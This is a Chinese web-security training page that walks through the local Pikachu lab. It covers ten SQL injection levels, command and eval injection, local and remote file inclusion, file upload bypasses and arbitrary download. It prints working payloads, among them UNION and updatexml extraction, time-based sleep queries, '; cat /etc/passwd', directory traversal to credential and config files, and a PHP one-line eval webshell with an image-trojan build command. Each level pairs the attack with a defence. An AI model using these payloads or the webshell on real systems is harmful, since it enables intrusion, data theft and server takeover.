我爱换客网红队成长之路
← 返回路线图 登录
靶场实战 · 04

SQL 注入(10 关)

Pikachu 靶场 · 10 关 · 难度 ★★★ · 预计 150 分钟
📚 靶场目录 📋 打卡表 ← 上一模块 下一模块 →
SQL 注入是 Web 安全"永恒的第一课"。本质一句话:用户输入被拼进 SQL 语句,改变了语句的结构(点菜类比见 0.7)。10 个关卡按"注入点位置 → 注入方式 → 盲注与编码绕过"递进。全模块核心思想就两个词:闭合(让拼接后的 SQL 语法正确)和注释(干掉后面多余的代码)。

动手前先复习 0.7 的 SQL 十分钟入门——那十条语法就是本模块全部弹药。

贯穿全模块的口诀(记牢):

先看参数怎么进 SQL(数字?引号?括号?)
→ 构造闭合,让语句成立
→ 用 # 或 -- 注释掉尾巴
→ or 1=1 恒真测试 → 进阶用 union / updatexml / sleep

本模块过关标准:能拿到数据库名(pikachu)或查出全表数据,即证明注入成立。

SQL 注入拼接原理

第 1 关数字型注入(post)

入口:http://127.0.0.1/pikachu/vul/sqli/sqli_id.php(需登录 admin / 123456)
过关标准:输入 1 or 1=1 查出全部用户信息
💡 类比故事服务员问"你要几号餐?" 你回答"1 号,或者所有餐都要"——因为你的回答被不加引号地原样塞进指令里,多出来的半句话成了新指令。

原理白话:参数直接以数字形式拼进 SQL,没有引号包裹,所以 payload 不需要处理引号闭合,直接追加逻辑即可——数字型是入门最简单的注入类型。

看源码:

// 输入 id=1 时,SQL 变成:
// select 用户名,邮箱 from member where id=1
$id = $_POST['id'];
$sql = "select * from member where id=$id";

注意 $id 两侧没有引号——这是数字型的标志。

📋 详细步骤
  1. 用 admin / 123456 登录后进入本关,输入框填 1,正常查出用户(先看正常流程)
  2. 输入:1 or 1=1 → where 条件恒真,所有用户都被查出来
  3. 进阶验证:1 or 1=1 order by 1 观察返回;再试 1 union select 1,2,database()(若列数对得上,页面会回显数据库名)

过关标准达成:or 1=1 后查出全部用户信息,证明注入成立。

🧯 卡住了?对号入座
  • 现象:1' or '1'='1 没效果 → 原因:这是数字型,参数不带引号,直接用 1 or 1=1(别加单引号)
  • 现象:页面报错但看不到 SQL 错误详情 → 原因:php.ini 没开 display_errors,回 1.1 步骤 4 检查
  • 现象:不知道在哪输入 → 原因:在"查询用户"的 id 输入框输入 payload 后点查询
🛡 防御视角参数化查询 + 数字类型强制转换 (int)$id。
🤔 想一想:数字型为什么不用引号闭合?
答:数字直接拼接,无需破坏引号结构

第 2 关字符型注入(get)

入口:http://127.0.0.1/pikachu/vul/sqli/sqli_str.php
过关标准:?id=1' or '1'='1 返回全部用户
💡 类比故事这次服务员把你的回答用引号包起来再说给厨房:"顾客说'…'。" 你只要在回答里先补上一个引号,就能"跳出引号",开始说自己的指令。

原理白话:参数被单引号包裹拼进 SQL。payload 必须先把引号闭合掉,语句才能成立。这是引号闭合思想的第一课,也是 SQL 注入最重要的基本功。

看源码:

$id = $_GET['id'];
$sql = "select * from users where id='$id'";   // 注意 $id 两侧的单引号
📋 详细步骤
  1. 访问 ?id=1 → 正常
  2. 访问 ?id=1' → 报 SQL 语法错误(看到报错=注入点确认。记住:"报错是攻击者的眼睛"——程序把错误细节都告诉你,等于把内部结构暴露给你)
  3. 访问 ?id=1' or '1'='1 → 语句变成 where id='1' or '1'='1' 恒真,查出所有用户
📷 练习截图:字符型注入触发的 SQL 语法报错页

过关标准达成:返回全部用户。拆解 payload 为什么这样写:1'(闭合左边引号) or '1'='1(恒真条件,同时把右边引号接上)——整个字符串拼接后语法完整,这是所有引号闭合的通用思路。

🧯 卡住了?对号入座
  • 现象:地址栏输入 ?id=1' 没报错反而没反应 → 原因:浏览器把特殊字符转义了。在 Burp 里改参数:抓请求 → Repeater → 把 id=1 改成 id=1' or '1'='1 → Send
🛡 防御视角参数化查询。
🤔 想一想:payload 里开头那个 ' 是干什么的?
答:闭合 SQL 里原有的左引号;末尾的 '1'='1 负责把右引号接上,让语句语法正确

第 3 关搜索型注入

入口:http://127.0.0.1/pikachu/vul/sqli/sqli_search.php
过关标准:搜索框输入 %' or 1=1# 列出全部用户
💡 类比故事搜索框的输入被放进"模糊匹配"的语法里:like '%你的输入%'。你要先理解 % 是 SQL 里的"通配符"(代表任意内容),然后才能精准闭合。

原理白话:搜索功能用 like '%输入%' 做模糊查询。payload 要用 % 把 like 的引号结构闭合掉。

看源码:

$sql = "select * from member where username like '%$name%'";
📋 详细步骤
  1. 搜索框输入 k → 正常出结果(先看正常流程)
  2. 输入:%' or 1=1# → SQL 变成 like '%%' or 1=1#%',恒真,列出全部用户
  3. 拆解:% 补全前面 '% 的模糊匹配 → ' 闭合引号 → or 1=1 恒真 → # 注释掉后面的 %'

过关标准达成:全部用户被列出。

🧯 卡住了?对号入座
  • 现象:1 or 1=1 没效果 → 原因:搜索型的 SQL 是 like '%关键字%' 结构,要先闭合前面的引号和 %:用 %' or 1=1#
  • 现象:# 在 URL 里丢失 → 原因:这关是 GET 传参,# 是 URL 锚点标识符,要写成 %23 或用 --+ 注释
  • 现象:页面没报错 → 原因:先输入单个 ' 看页面是否报 SQL 错误,确认注入点存在
🛡 防御视角参数化查询。
🤔 想一想:为什么这里开头要先写一个 %?
答:把 like 的条件闭合成一个完整的 '%%',否则语法不通

第 4 关xx 型注入

入口:http://127.0.0.1/pikachu/vul/sqli/sqli_x.php
过关标准:admin') or 1=1 # 列出全部用户
💡 类比故事这次输入被包了两层:('你的输入')——引号外面还有括号。闭合时要同时补上 ')。这关训练的是"看源码找闭合方式":闭合方式不是背的,是从报错和源码推出来的。

原理白话:参数被单引号+括号包裹:('$id')。闭合时要同时补上 ')。

看源码:

$sql = "select id,email from member where username=('$name')";
📋 详细步骤
  1. ?name=admin → 正常
  2. ?name=admin' → 报错(报错信息提示有括号未闭合——学会读报错信息,它会告诉你差什么)
  3. payload:admin') or 1=1 # → 恒真,列出全部

过关标准达成:全表列出。这关的价值:闭合方式不是背的,是从报错和源码推出来的——真实场景里没人告诉你括号怎么配,全靠试和看。

🧯 卡住了?对号入座
  • 现象:' or 1=1# 失败 → 原因:这关的闭合符不是单引号,是 '),payload 用 1') or 1=1#;核心思路是"逐个试闭合符"
  • 现象:不知道怎么试 → 原因:依次尝试 1'、1"、1')、1"),哪个报"语法错误"说明哪个差一点闭合成功,再补全它
  • 现象:注释符没生效 → 原因:# 与 --+ 二选一,确认后面没有多余空格
🛡 防御视角参数化查询。
🤔 想一想:为什么这关叫"xx 型注入"?
答:闭合符可能是 '、")、')) 等各种组合,事先不知道,只能逐个试——体现"注入第一步是猜闭合符"的思想

第 5 关insert / update 注入

入口:注册页(insert):http://127.0.0.1/pikachu/vul/sqli/sqli_reg.php;个人信息修改(update)需登录
过关标准:提交 payload 后页面报错,错误信息里带出数据库名 pikachu
💡 类比故事前几关是"查询"注入,有回显(页面直接显示查出来的数据)。这关是"写入"注入(注册=INSERT),不回显查询结果。于是攻击者换了个花招:故意让程序报错,让错误信息把秘密带出来——就像逼问一个人"你银行密码是多少?"他不说,但如果你问他"你的密码不是 XXX 吧?"他脸上的表情变化就泄露了答案。这叫报错注入。

原理白话:注入发生在 INSERT/UPDATE 语句里。这类注入不常回显查询结果,所以报错注入是标配手法——用 updatexml() 之类的函数"故意制造报错,让错误信息把数据带出来"。

详细步骤(注册页 insert 注入,报错注入经典演示):

  1. 打开注册页,用户名输入:123' or updatexml(1,concat(0x7e,database()),0) or '
  2. 提交 → 页面报错,错误信息里夹带出数据库名 pikachu
  3. 替换 database() 继续读数据:
  1. update 注入同理:登录后修改个人信息时,在"性别"等字段里放同样的 updatexml payload

原理拆解(重点):updatexml() 的第二个参数要求是合法的 XPath;concat(0x7e,database()) 拼出来的内容不合法 → MySQL 报错 → 错误消息里原样带上了 database() 的结果。这就是"报错带出数据"。

🧯 卡住了?对号入座
  • 现象:提交后不报错而是正常注册/修改成功 → 原因:payload 写错导致注入没成立。逐字符核对,尤其开头结尾的 or ' 不能丢(那是闭合引号用的)
🛡 防御视角参数化查询(PDO/MySQLi 预处理)。
🤔 想一想:0x7e 是什么?
答:波浪号 ~ 的十六进制写法,用来在报错信息里分隔,方便肉眼定位

第 6 关delete 注入

入口:http://127.0.0.1/pikachu/vul/sqli/sqli_del.php(需登录,留言删除功能)
过关标准:改 delete 请求的参数后,报错带出数据库名
💡 类比故事删留言的时候,留言 id 也被拼进 SQL。删除操作同样没有回显,同样用报错注入。这关要格外小心——注入可能真的删掉数据。

原理白话:留言删除时,留言 id 被拼进 DELETE 语句。删除操作也没有回显,同样用报错注入。

看源码:

$id = $_GET['id'];
$sql = "delete from message where id=$id";
📋 详细步骤
  1. 登录后删除一条留言,Burp 抓包看到 ?id=1
  2. Repeater 里把 id 改成:1 or updatexml(1,concat(0x7e,database()),0)
  3. 发送 → 报错带出数据库名
  4. 动手前先备份:phpStudy 面板的数据库工具里可导出 SQL(靶场初始化页也有重置功能,打坏了可以重新初始化)

过关标准达成:报错显示数据库名。

🧯 卡住了?对号入座
  • 现象:点删除没反应/报错 → 原因:注入点在删除按钮对应的 id 参数里,用 Burp 抓删除请求改 id;先 1 or 1=1 看提示变化
  • 现象:URL 里 # 没传过去 → 原因:# 是 URL 片段符,编码成 %23
  • 现象:删除后留言全没了 → 原因:or 1=1 会删掉所有留言,属正常现象(本地靶场可重置数据库)
🛡 防御视角参数化查询;删除操作加权限校验(配合后面"越权"模块理解)。
🤔 想一想:为什么 delete 注入这么危险?
答:能删数据、破坏性大;且往往发生在登录后的功能点

第 7 关http header 注入

入口:http://127.0.0.1/pikachu/vul/sqli/sqli_header.php(需登录 admin / 123456)
过关标准:改 User-Agent 请求头后,页面报错带出数据库名
💡 类比故事很多人以为"用户输入"就是表单框——错了。请求头也是用户可控的输入。你浏览器的型号(User-Agent)就写在请求头里,而这个关卡的服务器把你的浏览器型号原样存进数据库。

原理白话:服务器把请求头里的 User-Agent 原样写进数据库。既然它进 SQL 语句时不做处理,那我们把 User-Agent 改成注入 payload,注入就成了。

看源码:

// 把 User-Agent 存入数据库
$sql = "insert into httpinfo(useragent) values('$ua')";
📋 详细步骤
  1. 登录后进入本关,页面回显自己的 User-Agent(你浏览器型号那串 Mozilla/5.0...)
  2. Burp 拦截请求 → 找到 User-Agent 那一行 → 把值改成:

' or updatexml(1,concat(0x7e,database()),0) or '

  1. Forward 放行 → 页面报错显示数据库名

过关标准达成:报错注入成功。学习要点:任何输入面都可能成为注入点(UA、Referer、X-Forwarded-For、Cookie)——只要服务器把请求的某个部分存进了数据库。

🧯 卡住了?对号入座
  • 现象:不知道从哪注入 → 原因:注入点在 HTTP 请求头(User-Agent 等),用 Burp 抓包后在 header 里加 payload
  • 现象:payload 没效果 → 原因:先只加一个 ' 看页面是否报 SQL 错,确认 header 注入点存在;display_errors 要开着
  • 现象:页面没有明显回显 → 原因:正常,用报错注入把数据带出来(如 updatexml),看详细步骤
🛡 防御视角参数化查询;服务器端对 header 值做白名单/长度限制。
🤔 想一想:除了 User-Agent,还有哪些请求头会被服务器记录?
答:Referer、X-Forwarded-For、Cookie 等

第 8 关盲注(boolean based)

入口:http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php
过关标准:用"是/否"问题猜出数据库名第一个字符
💡 类比故事前几关服务器要么回显数据、要么报错——都是"明说"。这关服务器嘴巴严了:不报错、不回显,只回"查询成功"或"查询失败"。于是攻击者把要偷的数据变成一大堆"是/否"问题挨个问,像猜数字游戏"大了/小了"一样,用二分法猜出每个字符。这就是盲注。

原理白话:服务器不报错、不回显查询结果,只回"查询成功"或"查询失败"。攻击者靠真/假两种页面差异逐位猜出数据。

盲注:把数据变成大量是/否问题

📋 详细步骤
  1. ?id=1 and 1=1 → 页面正常(条件为真)
  2. ?id=1 and 1=2 → 页面变化/无结果(条件为假)——两种响应差异就是"盲注的眼睛",先确认存在差异
  3. 逐位猜库名长度:?id=1 and length(database())>5 → 页面正常=真,说明长度大于 5(length() 返回字符串长度)
  4. 逐位猜库名第一个字母:?id=1 and ascii(substr(database(),1,1))>100 → 真/假二分逼近(substr 取第 1 个字符,ascii 转成数字,比如 p 是 112)
  5. 进阶:用脚本自动化猜(Python 循环),理解原理即可,不需要背代码

过关标准达成:理解"真假二值信息也能泄露完整数据"——盲注的本质是把数据变成大量的是/否问题。

🧯 卡住了?对号入座
  • 现象:页面永远一个样 → 原因:布尔盲注看的是"细微差异":1 and 1=1 与 1 and 1=2 对比,一个显示查询结果、一个不显示
  • 现象:1 and 1=1 也不显示结果 → 原因:先试 1 本身有没有结果(id=1 是否存在);确认 and 前后有空格
  • 现象:猜字符控制不住范围 → 原因:记住可见字符 ascii 大致 32~126,用二分法:先问 >100,再 >110,逐步逼近
🛡 防御视角参数化查询 + 屏蔽数据库报错细节 + 统一错误页面。
🤔 想一想:盲注比普通注入慢在哪里?
答:每个字符要多次请求二分逼近,数据量大时需自动化工具

第 9 关盲注(time based)

入口:http://127.0.0.1/pikachu/vul/sqli/sqli_blind_t.php
过关标准:条件为真时明显感到 3 秒延迟
💡 类比故事这次连"成功/失败"的表情都没有了。攻击者换个信使——时间:条件成立就让服务器睡 3 秒再回答。你掐着秒表:回得快=假,回得慢=真。只要请求能到达数据库,就一定有办法把数据带出来。

原理白话:连真假页面差异都没有时,用时间差传递信息:条件成立就让服务器 sleep(),观察响应时间。

📋 详细步骤
  1. 正常访问 ?id=1,秒回(先感受正常速度)
  2. ?id=1 and if(1=1,sleep(3),0) → 明显延迟约 3 秒(条件为真,if 函数执行 sleep(3))
  3. ?id=1 and if(1=2,sleep(3),0) → 秒回(条件为假)
  4. 组合猜数据:?id=1 and if(length(database())>5,sleep(3),0) → 延迟=库名长度大于 5

过关标准达成:用手表/秒表感受 3 秒延迟差异。学习要点:时间是最可靠的"信使"。

🧯 卡住了?对号入座
  • 现象:两个请求都快,感觉不到延迟 → 原因:sleep 参数太小或网络太快。把 sleep(3) 改成 sleep(5);或按 1.4 排障表检查 PHP 超时设置
🛡 防御视角参数化查询;数据库账号最小权限(限制 sleep 等函数可用场景有限,正解仍是参数化)。
🤔 想一想:布尔盲注和时间盲注各自适用什么场景?
答:无回显无报错→布尔;连真假差异都区分不了(如异步场景)→时间

第 10 关宽字节注入

入口:http://127.0.0.1/pikachu/vul/sqli/sqli_widebyte.php
过关标准:?id=1%df' or 1=1# 注入成功
💡 类比故事服务器请了"保安"(addslashes 转义函数),把每个单引号前面加个反斜杠 \,让引号失效。但攻击者发现:数据库用 GBK 编码时,%df 这个字节能和后面的反斜杠"抱团"组成一个汉字,把反斜杠吃掉——引号又活了。编码不一致时,转义会被绕过。

原理白话:靶场模拟 GBK 编码数据库环境。GBK 是"双字节编码",某些字节(如 %df)要和下一个字节合起来才算一个字符。转义函数加的反斜杠 \ 恰好被 %df 吞掉组成汉字"運",单引号重新生效。

看源码:

// 输入被 addslashes 转义:' 变成 \'(单引号被"无效化")
$id = addslashes($_GET['id']);
$sql = "select * from users where id='$id'";
📋 详细步骤
  1. 先看 ?id=1' → 不报错(被 addslashes 转义了,注入失败——体会"保安"在起作用)
  2. payload:?id=1%df' or 1=1#
  3. 原理:%df + \(十六进制 5C)在 GBK 下组成汉字"運",反斜杠被吃掉,单引号成功闭合 → 注入成功

过关标准达成:or 1=1 生效。学习要点:转义不是万能药,字符集不一致时会被绕过。

🧯 卡住了?对号入座
  • 现象:%df' 后没报错 → 原因:确认是 GET 传参(URL 里直接写 %df'),且页面编码是 GBK(Pikachu 默认)
  • 现象:引号还是被转义 → 原因:%df 必须紧跟单引号(%df'),且 URL 里 %df 不能被二次编码成 %25df
  • 现象:payload 部分成功部分失败 → 原因:注释符用 # 时要编码成 %23
🛡 防御视角统一 UTF-8 + 参数化查询(预处理语句和字符集无关,从根上解决)。
🤔 想一想:为什么 UTF-8 环境很少见宽字节注入?
答:UTF-8 无 GBK 的多字节吞字节特性

SQL 注入模块小结(复习用)

关卡注入点核心手法
数字型where 数字直接拼接,无需闭合
字符型where '字符串'引号闭合 + or 恒真
搜索型like '%..%'% 闭合
xx型('..')引号+括号闭合
insert/update注册/改资料报错注入 updatexml
delete删除留言 id报错注入
http headerUser-Agent请求头也是输入
布尔盲注where真假二分猜数据
时间盲注wheresleep 传信息
宽字节where '..'%df 吃掉反斜杠
RCE=让服务器执行攻击者的系统命令。危害等级最高(拿到 shell 直接控制服务器)。核心理解点:命令拼接——系统命令里 ;、&&、| 等符号可以连接多条命令。类比:网站的"ping 工具"本意是"帮用户测试网络",结果用户的输入被直接拼进系统命令执行,等于把"服务器终端"交到了用户手里。

第 1 关exec "ping"

入口:http://127.0.0.1/pikachu/vul/rce/rce_ping.php
过关标准:ping 结果后面跟着额外命令的输出(如 ipconfig 结果)
💡 类比故事网站有个"网络测试工具",你输入 IP 它帮你 ping。但你发现,输入的内容被原样塞进系统命令里执行——那我在 IP 后面加个"分号,再执行我要的命令"呢?

原理白话:用户输入直接拼进 ping 命令执行,没有过滤命令分隔符。系统 shell 里 ;(顺序执行)、&(后台执行)、&&(前成功才执行)、|(管道)都能接第二条命令。

看源码:

$ip = $_POST['ipaddress'];
shell_exec('ping -c 4 ' . $ip);   // 拼接后交给系统执行
📋 详细步骤
  1. 输入 127.0.0.1 → 正常返回 ping 结果(先看正常流程)
  2. Windows 环境:127.0.0.1 & ipconfig → ping 结果后面跟出 IP 配置信息
  3. macOS 环境:127.0.0.1; whoami 或 127.0.0.1; ls /
  4. 进阶演示(macOS):127.0.0.1; cat /etc/passwd 读出系统用户文件
📷 练习截图:命令拼接执行结果(ping 结果后面跟着 ipconfig/whoami 的输出)

过关标准达成:攻击者的命令被执行。学习要点:; & && | 的含义(顺序执行/后台执行/逻辑与/管道),以及"把参数包起来"为什么挡不住(引号内命令分隔符依然生效,正确做法是参数化+白名单)。

🧯 卡住了?对号入座
  • 现象:127.0.0.1 | whoami 没输出 → 原因:先只输 127.0.0.1 看 ping 是否正常;分隔符用 & 或 &&(Windows 下最稳)
  • 现象:命令执行了但看不到结果 → 原因:exec 不直接输出,页面只显示代码拼接的那条命令结果;用 ping、whoami、ipconfig 这类有输出的命令
  • 现象:输入框拦字符 → 原因:F12 改输入框限制,或 Burp 抓包改参数
🛡 防御视角白名单(只允许 IP 格式正则校验)+ 禁用 shell_exec 等危险函数 + 最小权限运行 Web 服务。
🤔 想一想:把用户输入放进双引号 ping "$ip" 能防住吗?
答:防不住,; 在引号内仍被 shell 解析,正解是参数数组方式调用或严格格式校验

第 2 关exec "eval"

入口:http://127.0.0.1/pikachu/vul/rce/rce_eval.php
过关标准:输入 phpinfo(); 后页面打印出 PHP 环境信息
💡 类比故事比命令执行更"直接"的漏洞——网站把你输入的内容当 PHP 代码执行。不用绕 shell,直接写 PHP,等于把服务器钥匙交给用户。

原理白话:服务器把用户输入直接喂给 PHP 的 eval()。eval() 是 PHP 里"把字符串当代码执行"的函数,天生危险。

看源码:

$html = $_POST['txt'];
eval($html);   // 用户输入当 PHP 代码执行
📋 详细步骤
  1. 输入 phpinfo(); → 页面打印出完整 PHP 环境信息(版本、扩展、路径)→ 通关
  2. 进阶演示:system('whoami'); 或 system('ipconfig'); → 执行系统命令

过关标准达成:看到 phpinfo 页面。学习要点:eval 是 PHP 最危险的函数之一,等于把服务器钥匙交给用户。

🧯 卡住了?对号入座
  • 现象:phpinfo() 没显示 → 原因:payload 要写成 phpinfo();(带分号);若函数被禁,改试 system('whoami');
  • 现象:页面白屏/报 500 → 原因:eval 里语法错误直接让页面挂掉,检查分号、括号是否成对
  • 现象:不知道从哪输入 → 原因:这关给的是"一句话木马"输入框,输入 PHP 代码后点提交
🛡 防御视角禁用 eval;万不得已要用时必须白名单参数化。生产代码里 grep eval、assert、system、exec 应触发警报。
🤔 想一想:eval 注入和命令注入有什么区别?
答:eval 执行的是 PHP 代码(更强大),命令注入执行的是系统命令;本质都是"用户输入被执行"
很多网站把页面文件名放在 URL 参数里(?filename=news.php),服务器 include 该文件。"包含"可以理解为把文件内容"贴"进当前页面。如果没做限制,攻击者就能让服务器"包含"任意文件——本机敏感文件(本地包含),甚至远程恶意代码(远程包含)。

第 1 关本地文件包含(LFI)

入口:http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php
过关标准:页面读出系统文件内容(如 win.ini 或 /etc/passwd)
💡 类比故事图书馆借书处说"你要哪本书我拿给你",但不检查你是不是借了不该借的内部账本。你只要报上书名——哦不对,是"文件路径"——它就乖乖拿给你。用 ../ 一层层往上爬(0.3 节学过),爬到系统根目录,借走系统自己的文件。

原理白话:include($_GET['filename']),参数可控 → 用 ../ 目录穿越读取任意本地文件。

看源码:

$filename = $_GET['filename'];
include "include/$filename";   // 无任何校验
📋 详细步骤
  1. 正常点页面上的按钮 → 包含 file1.php 等页面(先看正常流程)
  2. macOS 环境:?filename=../../../../etc/passwd → 读出系统账号文件
  3. Windows 环境:?filename=..\..\..\..\windows\win.ini → 读出 Windows 配置文件
  4. 更实际的目标:?filename=../inc/config.inc.php → 读到靶场数据库账号密码(记住:配置文件是 LFI 第一目标——真实攻击里读数据库口令价值最高)

过关标准达成:系统文件内容出现在页面。

🧯 卡住了?对号入座
  • 现象:包含不成功/空白 → 原因:路径相对当前目录逐层上跳,层数不够;Windows 试 ../../../../Windows/win.ini,Linux/Mac 试 ../../../../etc/passwd
  • 现象:内容乱码 → 原因:包含二进制文件会乱码,换文本文件验证
  • 现象:报 include 失败 → 原因:路径没拼对,先试靶场内部文件(如 ../inc/config.inc.php)确认基本穿越可用
🛡 防御视角白名单(只允许固定的几个文件名)+ 禁止用户输入参与路径拼接 + open_basedir 限制。
🤔 想一想:为什么 ../ 能穿越目录?
答:相对路径回溯上一级;服务器的"include" 拼接后成为实际文件路径,多级 ../ 可回退到系统根目录

第 2 关远程文件包含(RFI)

入口:http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php
过关标准:远程 txt 里的 PHP 代码被执行(ipconfig/whoami 输出出现在页面)
💡 类比故事本地包含是"借书",远程包含是"让图书馆把你寄来的剧本当场表演"。攻击者在自己电脑上放一个带 PHP 代码的 txt,让服务器去"包含"它——代码就在服务器上执行了。

原理白话:allow_url_include=On 时(1.1 步骤 4 已配),include 支持 URL——攻击者让服务器去请求自己控制的"恶意文件服务器",执行攻击者代码。

📋 详细步骤
  1. 前提检查:php.ini 里 allow_url_include=On(部署章节已配好)
  2. 写一个带代码的 txt 文件 evil.txt(Windows 用记事本):
<?php system('ipconfig'); ?>
  1. 把这个文件放到一个"能通过 HTTP 访问"的位置——最简单方法:放进你的网站根目录 D:\phpstudy_pro\WWW\(Apache 已启动,它就是你的 Web 服务器),或另用 Python 起服务
  2. 访问:?filename=http://127.0.0.1/evil.txt(指向你自己的 Web 服务;如果 Apache 端口是 8080,写成 http://127.0.0.1:8080/evil.txt)
  3. 服务器包含该远程文件并执行 PHP 代码 → 页面出现 ipconfig 命令结果

过关标准达成:远程代码被执行。学习要点:RFI 比 LFI 危险一个量级——从"读文件"升级为"执行任意代码"。

🧯 卡住了?对号入座
  • 现象:包含远程文件没执行代码,只显示文本/报错 → 原因:①allow_url_include 没开,回 1.1 步骤 4;②evil.txt 的 URL 访问不到(先在浏览器直接访问那个 URL,能看到文件内容才行);③文件放错目录
🛡 防御视角关闭 allow_url_include(默认就是关的,练习环境是为了演示才开);白名单文件包含。
🤔 想一想:为什么远程包含需要 allow_url_include=On 而本地包含不需要?
答:本地文件系统包含是基础功能;远程 URL 包含是危险扩展,PHP 默认禁用
文件上传漏洞=允许攻击者把可执行脚本(webshell)传到服务器上,然后用蚁剑连接它,远程控制服务器。3 个关卡演示了 3 种常见校验方式及其绕过。核心思想:任何前端校验都是纸做的,任何服务端校验都要看它校验了什么、怎么校验的。

动手前先准备:写一个一句话木马 evil.php(Windows 用记事本,保存时文件名写 evil.php、编码选 UTF-8):

<?php @eval($_POST['cmd']); ?>

解释:eval 执行传入的 PHP 代码;$_POST['cmd'] 取"密码为 cmd"的 POST 数据。蚁剑连接时密码就填 cmd。

第 1 关client check(前端校验)

入口:http://127.0.0.1/pikachu/vul/unsafeupload/clientcheck.php
过关标准:上传 evil.php 成功,蚁剑连接拿到 webshell
💡 类比故事门卫(前端 JS)说"只许图片进",但这个门卫只在门口喊一嗓子,货到了仓库(服务器)没人查。你绕开门口(用 Burp 直接发包),服务器照单全收。

原理白话:只在前端 JS 校验"必须是图片后缀"。抓包绕过浏览器直接发包,服务器照单全收。

看源码:页面 JS 有 checkFileExt() 之类函数在提交前拦 .php;服务端 PHP 无任何校验。

📋 详细步骤
  1. 选 evil.php 点上传 → JS 弹"只允许图片"(体会前端拦路)
  2. Burp 开拦截再点上传 → 抓到请求 → 找到 filename="evil.php"(如果它是被改成 .jpg 才过的 JS 校验,就把它改回 evil.php)
  3. Forward 放行 → 上传成功,页面返回文件路径(记下,形如 unsafeupload/uploads/2026xxxx.php)
  4. 用中国蚁剑连接该路径(2.3 节):URL 填 http://127.0.0.1/pikachu/unsafeupload/uploads/你的文件名.php,密码填 cmd
  5. 连接成功 → 打开虚拟终端输入 whoami 回车 → 出现用户名 → webshell 上线,通关
📷 练习截图:中国蚁剑连接成功界面(虚拟终端执行 whoami)

过关标准达成:webshell 上线。学习要点:前端校验只是"体验优化",不是安全措施。

🧯 卡住了?对号入座
  • 现象:Burp 里找不到上传请求 → 原因:Intercept 没开;或文件太大请求没进来。重试一次
  • 现象:蚁剑连不上 → 原因:①路径拼错(复制页面返回的完整路径);②密码不是 cmd;③PHP 版本不是 5.6
🛡 防御视角服务端校验后缀 + 文件内容检测 + 上传目录禁用脚本执行(nginx 对该目录 location ~ \.php$ { deny all; })+ 重命名文件(强制改扩展名为无害类型)。
🤔 想一想:如果服务器把上传文件名强制改成 .jpg,木马还能执行吗?
答:不能直接执行,但配合文件包含/解析漏洞仍可能——引出下一关的图片马

第 2 关MIME type(Content-Type 校验)

入口:http://127.0.0.1/pikachu/vul/unsafeupload/servercheck.php
过关标准:改 Content-Type 后上传成功,蚁剑连接
💡 类比故事这次仓库管理员查货了,但查的是快递单上的"物品声明"——"你这单写的是图片"。可快递单是你自己填的,把"程序"改成"图片"就行。Content-Type 是"自称",不是"真相"。

原理白话:服务器校验的是请求头里的 Content-Type("文件类型声明")。这个字段由客户端说了算,改一下就行。

看源码:

// 服务器只检查上传时的 Content-Type 是否为图片类型
if ($_FILES['uploadfile']['type'] != 'image/jpeg' && ...) 拒绝
📋 详细步骤
  1. 直接上传 evil.php → 被拒(体会服务端在查)
  2. Burp 抓上传请求 → 找到 Content-Type: application/octet-stream(或 text/php)
  3. 改成 Content-Type: image/jpeg
  4. 放行 → 上传成功 → 蚁剑连接(同 3.7.1 第 4-5 步)

过关标准达成:绕过成功。学习要点:Content-Type 是"自称",不是"真相"——真正可靠的内容识别要看文件头字节(magic number)。

🧯 卡住了?对号入座
  • 现象:Burp 改了 Content-Type 还是被拒 → 原因:确认改的是请求头 Content-Type: image/jpeg(冒号后有空格),用 Repeater 重发;白名单是 image/gif、image/jpeg、image/png
  • 现象:Burp 拦不到上传请求 → 原因:回 2.2.3 检查代理;浏览器操作上传时 Intercept 要处于 on
  • 现象:上传成功但访问 404 → 原因:看响应里的存储路径,按实际路径访问
🛡 防御视角服务端读文件头判断真实类型 + 后缀白名单 + 存储隔离。
🤔 想一想:攻击者改 Content-Type 为什么能骗过服务器?
答:这个字段本来就是客户端生成的元数据,可任意伪造

第 3 关getimagesize(图片马)

入口:http://127.0.0.1/pikachu/vul/unsafeupload/getimagesize.php
过关标准:图片马上传成功,配合文件包含执行出 PHP 代码结果
💡 类比故事仓库管理员学聪明了,打开包裹检查内容(getimagesize 验证文件头是真图片)。绕过思路:包裹是真的,但真图片里夹带了 PHP 代码——"图片马"。图片是真的(能过检查),夹带的代码是"走私货"。

原理白话:服务器用 getimagesize() 检查文件头,确认是真图片。绕过思路:图片是真的,但里面夹带 PHP 代码。

📋 详细步骤
  1. 制作图片马(Windows 的 CMD 里执行):

copy /b 正常图片.jpg + evil.php 图片马.jpg (macOS 终端:cat 正常图片.jpg evil.php > 图片马.jpg) (没有现成图片就随便截个图保存为 jpg)

  1. 上传图片马 → 通过 getimagesize 校验(它开头是合法图片头)
  2. 服务器存为 .jpg 后缀,直接访问不会执行 PHP(先试一下直接访问,看到乱码/图片——理解为什么)
  3. 配合 3.6.1 本地文件包含执行它:

http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/图片马.jpg

  1. 包含时 jpg 里的 PHP 代码被执行 → 页面出现代码执行结果

过关标准达成:理解"图片马 + 文件包含"组合拳。学习要点:单独看上传校验很严,但和其他漏洞组合后依然被打穿——安全是体系,不是单点。

🧯 卡住了?对号入座
  • 现象:图片马上传被拒 → 原因:文件头必须是真实图片(GIF89a 开头等),纯 PHP 文件过不了 getimagesize 校验
  • 现象:上传后直接访问不执行 → 原因:正常——图片马后缀是 .jpg 不交给 PHP 解释器,要配合文件包含(3.6)去执行
  • 现象:制作图片马失败 → 原因:Windows 下在 cmd 里执行 copy /b 图片.jpg + 木马.php 合成.jpg;或十六进制编辑器在图片尾部追加 PHP 代码
🛡 防御视角上传目录禁执行脚本(治本)+ 文件包含白名单 + 图片二次渲染压缩(如重新生成缩略图,夹带代码会被洗掉)。
🤔 想一想:为什么图片马直接访问不执行?
答:.jpg 后缀不会交给 PHP 解释器;必须借文件包含让 PHP 引擎去读它
入口:http://127.0.0.1/pikachu/vul/unsafedownload/execdownload.php
过关标准:下载到靶场的数据库配置文件
💡 类比故事网站提供"文件下载",你点哪个文件名它就让你下载哪个——但它不检查"这个文件是不是允许下载的"。你把文件名改成内部的账本路径,它照样打包给你。下载接口和文件包含是"近亲":一个把内容读出来给攻击者,一个把内容执行出来。

原理白话:下载接口按用户传的文件名拼接路径读取文件,无校验 → 任意文件下载。

看源码:

